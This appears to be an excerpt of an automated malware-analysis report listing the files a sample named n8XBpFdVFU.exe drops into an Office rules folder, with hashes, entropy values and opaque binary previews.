Preview:	.<?......~>.\0.......:.P_.]..U.e.l..vF.`G..Y.8..OI..!..E9(.Eb...q..^..............$.l&yM......a.....GN.!..JQ.....'..ra........w.e....4.. ...cMqc.LX.i/..b.J5...P..q..'3.....3+..$..`..M...{p...O.\.b6.H...`.y.....&.+..&..>G...2R..h..9...3.Z..i.....1....<...}o@;:.-..n..]..........W.ip.8\|.Sh....<..e.8x..."0s.4ks..#....."8.I0.(..=..S.....{.s...R\NK....gY....V.+.T]k.....h..O. ...l5.....'.-..,.....Y.. K...\|>r>..b..HVa.....P.......S\|...,Mb.P..!.O.[.r..J......42.!t.&.%....P....y..8]...7..x........N...V.z.....O.-..+zy......O...m.....k...Q-....<.....fG.x....."~.S...tT.,*!>...Us...........Tq.....~%..D...}....s.XqY^..]k.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.691014013639681
Encrypted:	false
SSDEEP:	12:zuwH/CUNf5ErXXbaDTAybfwrmuQo/nw9RwSIYG9KxacBStCNN9maXkdNGtVRb3jm:zuwfJNf5EbXbaDToQ+0ZhStBnPcSbD
MD5:	3D4BB1EE8242BAA897F165078D29E171
SHA1:	7C0761E94450F59057F86497C04CBDD66D3E0C4D
SHA-256:	EEF8CF5A59B88CCBBFFBE4A143806DE1B4059EA3608CB5F726C64C8A56ED2C71
SHA-512:	137887C33568931E6987FE4F04B8C1B07732612EACB533AE5D8C168B66624387C853D9EC4DD8F16DFD98D7A76ABFC94A55F0F5B9716524BB539FE51F536A7C7D
Malicious:	false
Preview:	.<?..W..u.....O..[..T.M-..\s<Z..8.T....\#..qU..[...q.m.K....K.O.F.q..........<a.\r.8.....+.......a.#5.H;...d....Q..:.i4.'..m.=..7f..PP].s..)"]....,...A.r.645z..9...pD..8.r.......A.({.^......!z..D.)_M...k.F.NZ..L.I8.9l2....(n..}.4S..@a...;.....}N&..j.}3...~S.$....C.U...........K...C....kL8.........3.".\...8e.H.6.N.......:.w...3mN.\|M..3.k...4.....0#..)....w.jB].2yr.!Qx.s..N.K*....B..,.... ....6..l.........Xa.X.u...e....,AsT...~..p9:.Bd..........p..$..b...wH<....0t.7.qYM.?.}..3......Vj....f.I.k..P.N@p...rb....O..I.UcH....\............b.A..I.K.0.<A`y.Q6 ..hs....j....C.b..-....`D.)L...-..y...~.<.T.4....L.M.....%....vo..C..V.h....\~G.-...'j.\.8W.oNe...0......k..Y.c.e.D>Kf.J.T..9.E8.C...>..P..?...,.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	7.728161780488969
Encrypted:	false
SSDEEP:	24:lGEpCkcQfgmBwFcQAZ8B9ipVEzuX3HR3yyPDbD:s4LfgmB0yZ89iUkBfD
MD5:	B41A90DD6E01968C0B52A9E4B8BB2C1A
SHA1:	10082137B7D02991E310CE91CDD177C560E59142
SHA-256:	11EAD64C3FB14B5B748AF4A2E00688842892E35ED8B76A0D631C7B0119036DD3
SHA-512:	154AA1B67B81B975A27E02FAAF42B4A857C75DBCBD9FB7C741814C2B9B8A1553C35C357C10A516B2C66DC3998626CE7F43843C1AB43E0DA235F6131C5B34B229
Malicious:	false
Preview:	.<?DN v.R.b.._x.P@.1...,.....x.". .0d.)H..G...Hl...B[%......i".D.P".n.;.q.........y.Xl.%.....H.n!N....cY.....{.]m.@j(.E.V]H...u..........\.g... @...4K....\|.0......L.b.#..i}...x..n.0%...+.i..oT0...G..o.F'L........... F^...zM.NZ%..d,.......M.......!C......e....z..i....#...8\|....q...Z.?.....x.>.!.[.....\.M.9..x\|n/~.l;v]/7...Ea..k....s.....x.2..+..T+.....YL...>..2h.9[..Yt.A.....L`@...m.6.%..c.#......6..?......1.......}.Pw....mD].v......8.3.].DG......y9.tL ..W.....v..h...~Y.}R>...Ktk.........^..8/.AY...s.W.>i.......thc.3..^..)Y...4b.q.A.-.o..x..p.._U.T.......B....#.....^......I.."~..".s..S.)>p>4.l...6...@{"...OFh...U...V#.....'...o.....H..?..9."....1"....=SSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.745651396307358
Encrypted:	false
SSDEEP:	12:NjsdnyLEUaqQttcLHiH67rRtK20I5nCYlse+4UwyqgwHj9G2aah6lYsCuGT9yZcn:NjsdYpL+tc2HsSwsgD39GdKlQyZZbD
MD5:	57A436F4977FFB98435DD9C78609A0AA
SHA1:	2F9C13DFDE5141879F0C21A4B5351CFB04E64030
SHA-256:	C97890F7B64A773D0E80A8A2B5D74E016D43ABCADA69AE56036E33FBEA10E6DF
SHA-512:	FBE81D221053C2BB25E614BD1D878D3ECD6C6DF433B197509BBB61530468D268A283C3A9F006AA526D3D0AE5ED1C958B550FF55B215B49EDA5DD0E640E1D93DC
Malicious:	false
Preview:	.<?....]+..P....e..M........9...MA.6'..!"/2.._..TC'...{F.<.W......[.....K.J......F}.;.......~...".?......_.zV..U...j..Y.}]A\SW.'Z.....N.dUN.....g........39.tr....V....1B.~./Bt.x..Y...n......;+$.&..~ne.r!..)"Z....4..<L...........{..7F.....&..0v.V.$?X..h<........y.....H.......)...S....X.=...1.f.G-.;...E..Q.O..04.6kC..X.w.bg..V...~...%..^I/e.a.."..#...........#{.G5\.....dT!lubDW..........\|.f_....uvR.j!..~j..l.zmX......A..s~.5K.om<.?..x....$.X.6...d.s.X.Q..l....[J8>c.<R.W."H'.V....&.+..UGO..d.....:.J.leP.5_8.................X_.g.T.\...(.-.P*.A}....1S9+h,G.......v.p.........L.X....Bns..,.f....'&k.w]..9..(&2..~.c.....xZ..f..g...}....N...8lDe......%..D.......ubPE....\|eU.....@~....iU...-SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.700081678071744
Encrypted:	false
SSDEEP:	12:1Wxtji9KyGJR1nKxQuflDui9EXBQDH43kZnxsGwUkHN0Cg19BS6JY37f1+cii9a:cxJs3onsRfgi9L4B70j1FMgbD
MD5:	23E00949303BBD7CFD44CDDBB9B417A1
SHA1:	6E0F542058E16EA2FA31DEFC8F39DA555DAE704E
SHA-256:	F219488EA3D29E932A0875BDB12461E2B19867885FDC57918042DE809DEDB48C
SHA-512:	E7360A4A0F58C34F0F747AF04A59D0B50D208F43D7A6050EB6C38947D1BCECE4AFFAD8C1CC900C795169055C24EFA13699C4E72FED994D76D21CA5918D604E25
Malicious:	false
Preview:	.<?%.Si8n7...@..L.G\.+B...!.oAJ5.s..!.m..DY/X...P@.j..-u\.~e..0..&w...m...../a.\(;...K\{.=.3(..\..&..a..z..:.N..xr.C.9....]..Uw.....G.N\.\|.4..1...$X..../.Q..D..[....(.."o....&..a...._X=.w..........V......I.sa.7..... .Q`..D#A.6WH&j...H.$xy......0.u.....r......->._.p..n....i.=t.5s3.%..;...2..x..R..[Q.....9c.T...P...E..^V(..-...s...S.....Si...c>.o....v(.4..../.....h\|....k\|..hq"..).!AC.....a.r..@...O....ge............x..H).X...\..,Hx.H!....^bb.w[B..B. . C.?.A.V8 ..............3.x...0....wp.\|.-x....i.#.a9.WJBC..D..:...-.;....0.^].<_..::i<.4........N?GN.=g..9..m..P%..Y...{...q........s..<....d*....x6.<K.....I..x.d>...<...,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.717850322485589
Encrypted:	false
SSDEEP:	24:hu162hoird12fdvB+wnujyX/LawLOLUbD:hu1PbrOdB+w2yXe1L+D
MD5:	6BFE34DD53515B2CF0F9C5A019332E65
SHA1:	2242B7A37EF70F94492FB4AA9BF30379B204DDBE
SHA-256:	8F6CB198B10FC0563089D6DA23663530166779C9E6E9FC86EE5AE5085BF7AA4B
SHA-512:	EE01C8ADC8087C30941F3A36186F6B170C946BAF76EFDA8DE92A86BFD760ECC8AAB83C2DC55E10DD79E7B514C79EB4B0762C63009382802E637B9EEBC6BD5982
Malicious:	false
Preview:	.<?TH/V.-.p\|jt?.r..'suUz..wE..rsD......p....dkYhj..J.V.Q...}..]..2.\|..(..aP..-.(...5?......Ae.q(...R/..R.>...;J..Vx.....+..W<J.....\.'.....Mc...u7~.b..=.`...AlI..7=:04K.....N..3Y.}.V.....U.1...R.,m.....<..-V.P@.,...D8.3..vi........o....U@.%..(?..Sz....F..w..L.0.{.....@.h.{.\|....}....'....R.F3.Hl...Q;.y...:x...T..hGI....0....t.. ..VK....."c\|..(.J...IK.^".8 I$n....b.b.*..Ne\......Jq.".......)..4..G...aB.....D}.....d....z...I.......d.{.).^x...4...5...Fn......)..&....T..l..e.%..h.F.dK=d..LEa.0.@1..O.....%n4AA..]]\|..E..w^uO..pR..3.a....F.S.-};...x.?^..<..{..JX...#..0.9.(...6...n...i..W.e..xo+D..[.3.Z+.pO!.BPm.\|^.^..Gi.pP..F..-g...........%.......0........s..#...%...Y..R.....+ai..W..xSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.6934653760651175
Encrypted:	false
SSDEEP:	12:pkLAQm3wNNk7q0LADgs3xr4LYDfHXKsjjj52pBexo+yS8NcPNqrnjkPvb393HSVm:8A93wkq0Lk1BrNPXTQpBqo+yVe1qrnID
MD5:	49DFB0C31117866CBE3684B26ECC9620
SHA1:	541629D1218BDDAE815B790652EF25CDA914B4AB
SHA-256:	0E6BEBE68D7C8F4DF1096A5D305FFE6F841C5231D623576F1AB98BED5862FC0A
SHA-512:	9BD7E7C3F36A9260F7F73CC26DF7A2A96B5F32D3641225F67EB7537022A7ABCB82F2D2D0B41940DDC5261C5BED4EEEBA493FBE8EDD88DEC14FD5BE9830A214BA
Malicious:	false
Preview:	.<?......t......8oG.OyW#pA..5..b.X.......uL...RT.......0ML7YI"...Bn..C.jWS.....#sM<............./.............U".....x.`O.Z.O.=./DZ.X....w..7.ym....On....+..j~E......D!..)..o....D.to.?..Y.....U.b.h.M..\|.............sN.s\|..5..~........\|.Z..-x..3..+O.^M...9+1UM..}.v..5........So....}.}x....o.\|...Ub...s.V3D~...A.....&.%..o.g..N^....6....rA...;_E>.TJ..f9..%..1.q..yha`..T."....z...+..Hw....P......Qu6.U...P.....y1...d@....gl.(J.ptmS.>....q..n.F..a..h.L.-..M1 %.N.%.\|....v./.U.;.+.y..:7V..j...6..2...!.S...o.I.GrV:.M....jE..1p..NDg..K....w.....8&..C..AE `..T.}.8>.T...4.Fv.@.?.A[<.Ol..4kQ........u;,...C.1.b..iI....5.$@C. .Z.%.....;._.x...a....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.780986394087978
Encrypted:	false
SSDEEP:	24:wYBcRUMSvZQzMlC4xIZbTNlXocabTWmdTbD:wYK2vZLw4IlnoTLdHD
MD5:	B5790336AD8C35ABE14869E02A0166D7
SHA1:	018D776CEBA5372039812DC46CA2C53F343C12A3
SHA-256:	B2DF5A6D871079A20B7F20D866AAFD0480F83D6D916744373F2D71DFA9FD4E66
SHA-512:	E012ABCDCF5112DC1141D39D1A8121898E7C44B3BC2B06A8084574BDF0292235861BA9621B860001F43CBA021417167DF678F46D72C7A0C297C231EF0651D681
Malicious:	false
Preview:	.<?.b]zS.4c..}z.~.i......R. .59..;..;..w\7c=.+....hsg.mz.\8.<,..ra[..Y.....t\|.........j. k..xJ......4...9."..6$......'.}.........l..!....L<....k[e.....#f.....\|..GY.KO..Y.H.F..oso....VG.:b..@v.......)R.a0..J.Z.29..D4.9.k...\.......]...8...Vn+[$....x....E......\|.e.d.I.....bOu.....4.d`..`..%..`,.,#\C...N...G..{bpm..;..... E...O[....}........H.]..?..7..... =......>...O..5N7'.Y@.u.7.G..M..LM...X..L...o...;*.&Bc~....#v.......s.\|....\|;.z...Y...X.hQsK.T.5..g.1....)....#[R.A...0.(`Z0........K)P...e:w=Hc..y..43~...(.R..."\V.q.H.q.0.pBCoh.[..f....E.SoT1}..j....\|U..#-.~.:...NP...Xp.,....].3.rC.A.....2.A.^'.R..z....n......fx...K.0m.B......X.{D(.D...H...a.W....g..Qc8...LF4.......m\|...&.y....Q..iJM.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.731758801904669
Encrypted:	false
SSDEEP:	12:y7nVcFsQqroQiPVgbu9+2Fnr9RUIncF+qe/giNAUksnxVX15OyB+mFI1+cii9a:4n2GXUQiPCbuXr8Ixqe/BNAUnvXjOQjX
MD5:	C342BE239181BD82FA8B910F0BF7E3ED
SHA1:	98AFA23B4209F61BA3DB8DA5615CA619CFB5B020
SHA-256:	74DDE9FCDDA6DC3FC5D9D3F9ED3D5B0D3836234A77699FDEBA3B8FDC91FAB17B
SHA-512:	3ECA7349914162FE76FF374BE7477325A1524C56E694099EEEE13C072B240E346576491E7470671F82262AC2022DC8BAAB86907E1EE32A717800FD00FA4CDC57
Malicious:	false
Preview:	.<?........~.........w{.....R..d.q-....r=.p#..p[...=/.t..6...:..0_z,......`S..\|Q.@..D...#"O..5w...Z7.._......X.j..S/B$.\.+%....X.f.\.LG....?...!\J.......U8.uh-....S]....r..w.....[!+y...&\|...>A........$..9qdED?V...u.#g.r.1....e......x.r..F...j..I..{..\:.."...8...\..9<...X4#.}....1I....".G...Ck.....d..>v...X.'g.-..-....".L.E5...9"]GM...mX;......_n......l.o.N-...........tYJ..=J....&.6#. .R...)...=.D.?..g..$.{n..P..=.:..._.._.....I.x......b@.....(zf..\...S.'...95...r.F._....#.Y(qA.g.f...^henN.>z.....Yi.["..TO....R...&..y...z..RO.%...Ns.o.................a.=..S....a.........*K..b.T.j.......#....].A.x._..V..>\|.[..&..Q...G.-T..D..0.h..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.880846008839176
Encrypted:	false
SSDEEP:	48:JHYjmKuK5qGWox2B4p2UcGCdUQ0wz2U556+F3D:lspXvJxKk2UKrmUG+t
MD5:	47BAF9A57F8409BBA113361F66A0AB30
SHA1:	1290F087131EF59E5B8EAED19D12238593AFDF5E
SHA-256:	D2B0100C5934486D511D0AA5C6D63A97F4DF9C7E64D5DE40F090EF6FFFA86B19
SHA-512:	5DFCF37851F6BD5D0A5A9A6FD43998219FA1C0DE3F8567480FCCE020838699399989E589D182EA9B321F3049E3D50E6A426B80EB2F68E9118E95625C103AA5D9
Malicious:	false
Preview:	.<?...tU......\G.,E..g.`N.]....S....w..?..zG...B........DF...@.\....'.KL_-...6.Rcm...o.'0$...&o...iL...e)R..jm\..)5..$.V.:...B`.<.....6..[...T.^"]..=!3....Es.....]..Z..H...3.....he.JY..^.........9E..........!F..}.7h.v.BJ.,G2......4..k....R..+fs..(.)...x........<"....._.FI<.....W..~X......w^..i...R(.!.3i8.D..h(..8..D..YJ.p...~.}..j..M..X..b...{%.j5!.t......_....<!Q..f&...L.z(...OL....;...}x.\w..p.<..v.......c.x.3.........wnA.O@...e.^>...x..&..)f\.d..... ..j.U..@..{.z......Y....s.#a....R.P!.i.k....."...M..x..~....&...n9..c>.. ....U..x.K.v....0.(.......a.0.........].g.m..f..&.S..tS$.m.#....v.K.$..#...7...l..z.Z6....)...J..z.j....I`b...<7.. F..$Ve...,}.F....TB...H_.[4.$....iS.}s^=..Q......[e}....w.....F8./.2.)"W.Q....0....'.3.......}.!:q.3....g..W..;V\..d..T.^Ii..a..l.w1..'...-.X..r.......u.o..[R..E.8R...%......n.8.`....X...?........MD.b.q.ZI?e.7w..n....fw.2%j............Ix.....*..&..........i.A{.@..Pf.v..........d.d.F.aE.I5E:.x"1.lP....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.894105347571222
Encrypted:	false
SSDEEP:	24:hu/KDm7v+V3TBQXLj5EU7QJvGN4oWCf8/bIl7e0eQ4QwUXRbUzSuzxluX5swiT8m:+7mVji7j5Ei8U4oWweoh+jzx4Jsc2D
MD5:	196EE8B9F1C5491A7FCE360F4367EDA4
SHA1:	FAA3AEF7DA3222D546FE6EFDBBB07553F68DB30B
SHA-256:	AF8E491162FF592745FD9E6B7762A1159F0E8514B1835F745DAE042991FCD212
SHA-512:	C1BF7C7F99BAB726B0F27511449426F6D8AFB16C49D7CD8274796F38047AA84B4669195459A2B7B99CB8EE9094D0D0F484F851F261A4C1649785BFD1557FFACD
Malicious:	false
Preview:	.<?=]...XT.O`.Whgx.}9....t.b.JP..Y.........<.+...5....-......7.N..iX..\|..Z...nK/.7.S...\|e...^?c..MMtf.o..[a!.......-...c=?..,..2..9+..."..v.U0...C.J.p.e1.~..D1.(j.b$.~...k......<..Z[B.....$..2.FHd.P...C:..8`.ot.}..Y.W.4t...T..Mh...Y........p.m$.d....K.-?.b,. ..L......Z...........I.M.d....\|K>.C...".f.Q....+M...@...Y.<...U..u......n...<8..."6.B....%..IE....=q.+.......#U..Z.-P..2.l..Us.GeA...Z.2s..K./..=N...zK_ .G..I.C.-T..."....YS*._..vaF..k...6.V..; ..P....<.^..jm<Zd.z.J]x.7..w.......o.M...s.Dqg.^.@d..{......"....^....<..U.....od....Tg/X...m.i._..-.i..:....Y.u!.N3...............S..8.u.[..TIWC..LN...a....&..8...,NM..._!........osg....~...\|.!8..J$.J..v...i..E.b{..n....&s..H.r....M!..,!.Y>1...7{/.VOMje....a].......#.-..y.....).N....FKIr..}......Z.i.CjG.w7.5%......[..!r.9.K..o>i.H>M......!...0... U.=...h,!.h...-.......=t..v.4.K\W......S.+....".;.~..B.'.l.....O.....R.6.[.Q.G=O6..H.;.'......m.a......5....C.}.E....Yyjs..`x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.893920583534934
Encrypted:	false
SSDEEP:	48:pkeI92TxQeSavLkdzKSZZuPnFaB2RJF3D:HfTxQeS6i0/FakRJR
MD5:	E7BF035E0A049F4472A823B459602587
SHA1:	759B1DFADE2453F65F3427BC01E598B85D96F2DA
SHA-256:	7DB19EA2A6A0F97C07FC7215D7D2349D99592618B8571F4484371FBF622386A9
SHA-512:	FBA26D7FF555B7C7E76D1DC576096BF726EBC8DCA5E98402F38B7ABC955D75CC9F94FE324F4E8ECE00FDC3774E9063DD83A447320A3C252A932B108179032E67
Malicious:	false
Preview:	.<?.U...U.>5J5.-/#...\|&.R'x...j.[JD.w....}K...]FL...@.........#^D.%?......DJ]u.........).x..........~.....2..Bs..$.....o.K...-G!{@a O._8.$.......>...?w..:...4a...A!..&...........EFczl.&.....e0`....`J+.qj....Q..BDo...s..>..~>..LXMY....H.G<.#.p..K..t&......}.Tn?OO..d......./..a~.Yr.../.]..xxA.iiZ.:(...W.[.Y..,:.t..A.R....Yc.Z=3.....F.t.&..d.~.;...2...%..z..ikQ....R.T.9>..)....2.=.....gq>...n.G`o.Qj\.............+zn.....M.-...%%p...z......^...X.W...9.s..D.efxP.=..<.l.._..m.v...`./.@...g.{...[..z...o...QD...Qv.....u5ku.;...@...t....8gkg......h.w.}.3\...\|Exb.o.:......i;..6GK.._'..Y..A..`@.J........k2S...\..v..1..1.6...c..Eh ..T.p..R....S."...$.'..\....Z.Z\.O.A.~[......\|5D......\|C`"A!.N.........6A\|...._....8o....K.q..~.l...{.3.k.?..\..V3..i.C>.....KO..Qc...&.'...L.cD...G.....T.....<.x.Ky...Ut.P.,@.8.....h..."<s..(.O......G.M&.z.-.o?Q..!..1...0..>I. ^..}.)...(KL.<@..%fL.......=.L..;.....{....Zc2...._.4%..u...}.o.jw..../..Tu.!._d$U=GM..pZ......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.899887178564894
Encrypted:	false
SSDEEP:	48:UvQSfJDjBT88A0dKgsJPW2ZMM/K7A0QD1tWCsD:UZfV588AFvJPWS/Ks0QD2D
MD5:	8272C2E51ABFEBA0B95F0AFCC91949F7
SHA1:	ABE2EF5CB2FE09F5F29652BAC9B0BC911696D70F
SHA-256:	8497400B3D07AD02D82206D64524F7ED8EEED1876E6500FFF037325167FC3C15
SHA-512:	C21482257877C4D418BD3C122700DEAFD0532AE518972CAB13FD71C2D6F3096511BE441955467C1A196D5B8704AF6979A99C73A8E9C0AFC4B55D1A2332A7286F
Malicious:	false
Preview:	.<?.:I.w.9V...H.v..>.Y. .LM.N-7.f..I...(........d...&RDY."l.>..Y.......$6.]s-.G.r.<U...,....tu(.-....3..5T..C....G?.._.....Ddn..l%AF.ES...b3.?.':7.+../..{.99Z.....Uk.<...~..}...L.<.G....../.../...r.'.D.............hz#u.;J\+..b)Q.t].\..._.ET..6.[..c..1.........V[..C.S..Z].c.C.q...Y........g...z..l..>...W.GC:k...#.....#.e}s}..A.0)3..[.a......&..UN.p.Z..h.~...wx...$..z.R5Sx.~.....f...Fx...2e.oi.x[.S..'R.^..M.)[V4.b.JG..l""..Lm.}........L..H`.....c..D......../U..L-]`O..^Q.#...q..W2_.H...zU.i.4=...QM)..1.........s..d?.T.U..7B...&#.Q..{.... ..J....<q.[ ...oX.....<3..v.t....B6.9$..7..(.+.g..!+G.\|."...}bXP..Z... z......}px....%.zF..........m.;8..C.......D.H......W...V.9ZlA..fi..0....I{.........cv..rn........)......b.Mm.A?..O.....,.d.4....6../...y..0\..K)...o.H9......W.8..x.S.u,l+.%Y.kQ.v...^1...*...o.Z...e.G...Z7....(.k..!h4..........@~..o.$..s...UL%RLD..)....=...SR.....\.@+...>'..<%..3...b7.....0.<.@L........T.1....\^...F....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.8844573459992855
Encrypted:	false
SSDEEP:	48:RB2kEdX01GtOtNThAiwJvikziyX/ezq2rgJ1D:OdXXoiZ+oWzq2rM
MD5:	5CDA1F7DF4F43D652FDF56BE22E927DA
SHA1:	AC5D271BA74AA2C96552B97DBD78904BD6B7E1C2
SHA-256:	ECCB918C6CC7EA0EFAC52890245863E89AF2B50CF2063CF9A89131C7DF369709
SHA-512:	962F0EA51D38881869B0DED2EE1D85922B11439A9B954F93CA3076494AFC8082AD005594DC6E5E787F09D7F11F50322969C311A244D3C4300DD9034A0CFB1A43
Malicious:	false
Preview:	.<?1....f[..V.....Q4..>k..U...WV..\|...b~....c}..P{w...,;.....i..b.s...\|.....z..\....z.6.,~.^...^..M.B._.,\B..6...^.jaz-..'w.h...A.....$..s.1jp0rl6q...a........G...Ii......^+..._.y9....3D(.G.........A.:...}.UD;..pOM..o.8... >......Q.x....,..;..{...y.....U$..1....e.q7w,.9G......u...$..b.=.....0sWo6....FB.xF.)x...m.X.V......Z...Z....o.a..#....+n)!..z.C....cH.:j.\...).rS.~=...H.4..H.....3=....c_..`nQ....o./'.YG2.@............5..r"..P<..SP-.V3X.).ko...;.........I[c^a..;.Kg.../.c........E..x7...g.f..t.].C....Q)~..A9O!..BD....b...@..v.C....p.F..%...S...Q.JMzPk=...XMk..4)]Q^....d.I+..k...u..(....a#...=bF).....Y2w.V...O@....\......!s!.;.T,W..9....~"..t...).G.n.A....._..W\....y.\#. <.yg?.....\|.CE.9+S..T&..p.Q.CZ'D..i...%.._...M!x.+.!L$....JA..\|.........B....'D.*........../.IZ5:.v.^J4....2e-.).....t.PJ..l.....jw.p:....+-...KB=....9.>..Q.....0pL.z.H..x5.=..l..w..\|2..A..._".E..@G..3..jh..zj...8..LOV]...cS0 ]n.%....l9.q..`.............~..G>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.883557610758976
Encrypted:	false
SSDEEP:	48:jNzuZo15HZzcrL74ZBSpTT3Zchi+APnYt1I4oD:jys/cP/hTJchLBF0
MD5:	4C1D7BCF016C51227F7AE3C554038144
SHA1:	45036F54D940C8379DEB545667323E7D648789AB
SHA-256:	C5A2675198926F9915540F32D1EE4ACF8F7F5827D2D065CB147EE1D4D34835D3
SHA-512:	40EC8522B4E7EAB9A58D3AD9ED756A1F60AEBE601FABA48D54374BC7356C92585BF0BCC9EC44FB070F2592FBDCDC9788EB523C0BDE87DA47EAC6113B8A00EA75
Malicious:	false
Preview:	.<?i..iL...r.v...&..&."P\..%`@....y[....@c`w.d..R.k.C.n._.....I...33@..dM^.s..AQ.L.Qd.........)..S...cC2..32..f...e..?b4.p.....E...K.V....DX....{.q]..J.g..g[.z.8Wy.J..&...Ypq.[Z.[K...\|......:U.6...%d...z..a].9...4.....c...j.U..-q.F.A....'...d..%....GAiHG\|.g......D.g.Uj.7(.+..f..D...W..L}..L........$.b...R.#lCT.%.X....4....,k...g.^`...g L.....m_...#..W.5..Rf.....l..K\|......x.x..7`..d......\..l..q...^3.KM.b..K-..m..._..".Vo.=...,..f...w...w.i&...R..;.O...;L....J:.w..R....(7..-......uiG..L.......rjU.](.m.....#W0B=Rf.x.X...>Hr6..T.0.....t.y.............T'..3k.!...#.W.d..=\.i.r..{7`k.../......o... ..VI.NM...eg.$J.dD...0...7..f..].e.vI.N....W5.@..K.=.?.[.4......Rf....^4M.`..K......_.o.K.....E.T"....!.....}[0.v.?.P.zusd:...j.~I@..gj.0........o......e.....\.>....qU....`..eF..........-.m..4.!.....I .y.....L5..F..-,....W..j..A.......H........ .1.f.&..E..o....P...n.!i[R.q..Un.q.zb../~.....4.@..O.9.:.;.61....6N.."O....}%..c....1..R8..p.h..E(..J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.875201003076127
Encrypted:	false
SSDEEP:	48:O5w7TaaVCOovHjJVp83fuYk4sw/wKugNtKU2wD:Gw7uaEOq7a3fhkg/w6NwG
MD5:	49C77D99D470605D0ADEF2EE780238A9
SHA1:	968AEC0123EA1C2B9CE24EB24CF55BD8A372EE36
SHA-256:	110764C718C2FF58EBCFF91861408BDC0C582D9942FACF27A7F27F0B6D4D3285
SHA-512:	15E9BEF1E4480B1410665C4CFA2842D27A53A79558FD56FE14602D76C62D87FB9E5547349BBCD6A0EA2AFE5AEDEEC70F7DD5440CE3C855A8DBB27BF8CD6BA1BA
Malicious:	false
